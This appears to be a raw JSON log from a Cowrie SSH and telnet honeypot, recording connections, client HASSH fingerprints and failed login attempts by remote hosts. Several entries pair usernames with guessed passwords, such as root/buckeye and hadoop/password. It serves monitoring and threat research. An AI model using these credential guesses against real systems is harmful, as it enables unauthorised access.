{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:28.286180Z","src_ip":"103.82.132.16","session":"955e6836e77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.52884531021118,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:19:33.970673Z","src_ip":"137.184.5.188","session":"4f3ea9e5a015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":56560,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ffd8dac7a6e","protocol":"ssh","message":"New connection: 139.59.4.137:56560 (159.203.135.109:22) [session: 5ffd8dac7a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:10.858848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:10.863424Z","src_ip":"139.59.4.137","session":"5ffd8dac7a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:11.076652Z","src_ip":"139.59.4.137","session":"5ffd8dac7a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buckeye","message":"login attempt [root/buckeye] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:11.951207Z","src_ip":"139.59.4.137","session":"5ffd8dac7a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:13.163022Z","src_ip":"139.59.4.137","session":"5ffd8dac7a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":36616,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3232fc9269d","protocol":"ssh","message":"New connection: 162.241.33.238:36616 (10.17.0.5:22) [session: a3232fc9269d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:24.775031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:24.778629Z","src_ip":"162.241.33.238","session":"a3232fc9269d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:24.807581Z","src_ip":"162.241.33.238","session":"a3232fc9269d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scroll","password":"scroll123","message":"login attempt [scroll/scroll123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:24.896251Z","src_ip":"162.241.33.238","session":"a3232fc9269d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:25.927264Z","src_ip":"162.241.33.238","session":"a3232fc9269d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00730752944946,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:31.745315Z","src_ip":"137.184.5.188","session":"64c486611ed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:35.109264Z","src_ip":"147.45.211.215","session":"170b7c6999f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":55122,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bfbbc2e9f60","protocol":"telnet","message":"New connection: 50.62.181.92:55122 (10.17.0.5:23) [session: 9bfbbc2e9f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:47.616830Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":34320,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b41cbdeb6b0","protocol":"ssh","message":"New connection: 103.77.175.15:34320 (159.203.135.109:22) [session: 7b41cbdeb6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:50.306708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:50.310280Z","src_ip":"103.77.175.15","session":"7b41cbdeb6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:50.536744Z","src_ip":"103.77.175.15","session":"7b41cbdeb6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23041997","message":"login attempt [root/23041997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:51.219298Z","src_ip":"103.77.175.15","session":"7b41cbdeb6b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:20:52.448731Z","src_ip":"103.77.175.15","session":"7b41cbdeb6b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":42418,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7aac2a25be2","protocol":"ssh","message":"New connection: 109.237.96.109:42418 (159.203.135.109:22) [session: c7aac2a25be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:07.275823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:07.279194Z","src_ip":"109.237.96.109","session":"c7aac2a25be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:07.372947Z","src_ip":"109.237.96.109","session":"c7aac2a25be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"170693","message":"login attempt [root/170693] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:07.656788Z","src_ip":"109.237.96.109","session":"c7aac2a25be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:08.756763Z","src_ip":"109.237.96.109","session":"c7aac2a25be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.07595467567444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:18.692666Z","src_ip":"50.62.181.92","session":"9bfbbc2e9f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":51762,"dst_ip":"159.203.135.109","dst_port":22,"session":"68a9e1f63841","protocol":"ssh","message":"New connection: 103.82.20.28:51762 (159.203.135.109:22) [session: 68a9e1f63841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:33.761312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:33.765131Z","src_ip":"103.82.20.28","session":"68a9e1f63841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:34.030289Z","src_ip":"103.82.20.28","session":"68a9e1f63841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090487","message":"login attempt [root/090487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:34.826238Z","src_ip":"103.82.20.28","session":"68a9e1f63841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:36.094468Z","src_ip":"103.82.20.28","session":"68a9e1f63841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":57690,"dst_ip":"159.203.135.109","dst_port":22,"session":"08a17904d464","protocol":"ssh","message":"New connection: 139.59.4.137:57690 (159.203.135.109:22) [session: 08a17904d464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:57.003726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:57.006819Z","src_ip":"139.59.4.137","session":"08a17904d464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:57.215781Z","src_ip":"139.59.4.137","session":"08a17904d464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password","message":"login attempt [hadoop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:58.080516Z","src_ip":"139.59.4.137","session":"08a17904d464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:21:59.291331Z","src_ip":"139.59.4.137","session":"08a17904d464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":55034,"dst_ip":"159.203.135.109","dst_port":22,"session":"a01307629cea","protocol":"ssh","message":"New connection: 194.59.206.2:55034 (159.203.135.109:22) [session: a01307629cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:01.468185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:01.472667Z","src_ip":"194.59.206.2","session":"a01307629cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:01.559717Z","src_ip":"194.59.206.2","session":"a01307629cea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:01.649357Z","src_ip":"194.59.206.2","session":"a01307629cea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":50660,"dst_ip":"159.203.135.109","dst_port":22,"session":"111df87b9f92","protocol":"ssh","message":"New connection: 198.57.219.18:50660 (159.203.135.109:22) [session: 111df87b9f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:11.029783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:11.033617Z","src_ip":"198.57.219.18","session":"111df87b9f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:11.115656Z","src_ip":"198.57.219.18","session":"111df87b9f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"badger","password":"badger123","message":"login attempt [badger/badger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:22:11.362126Z","src_ip":"198.57.219.18","session":"111df87b9f92","protocol":"ssh"}
